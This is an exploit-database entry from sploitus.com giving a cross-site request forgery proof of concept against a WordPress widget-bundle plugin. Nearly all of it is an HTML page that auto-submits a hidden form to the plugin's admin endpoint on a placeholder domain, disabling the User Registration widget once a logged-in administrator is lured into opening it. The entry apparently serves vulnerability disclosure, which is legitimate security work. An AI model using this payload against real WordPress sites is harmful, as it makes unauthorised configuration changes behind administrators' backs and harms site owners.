Share
## https://sploitus.com/exploit?id=WPEX-ID:1A7EC5DC-EDA4-4FED-9DF9-F41D2B937FED
This PoC disables the User Registration widget. To do so, make a logged in admin open an HTML file containing:


```
<body onload="document.forms[0].submit()">
    <form action="https://example.com/wp-admin/admin.php?page=widget-bundle" method="post">
        <input type="hidden" name="widget_options[widget_types][widget_login_register]" value="0" />
        <input type="hidden" name="widget_types_submit" value="Save" />
        <input type="submit" value="Submit" />
    </form>
</body>
```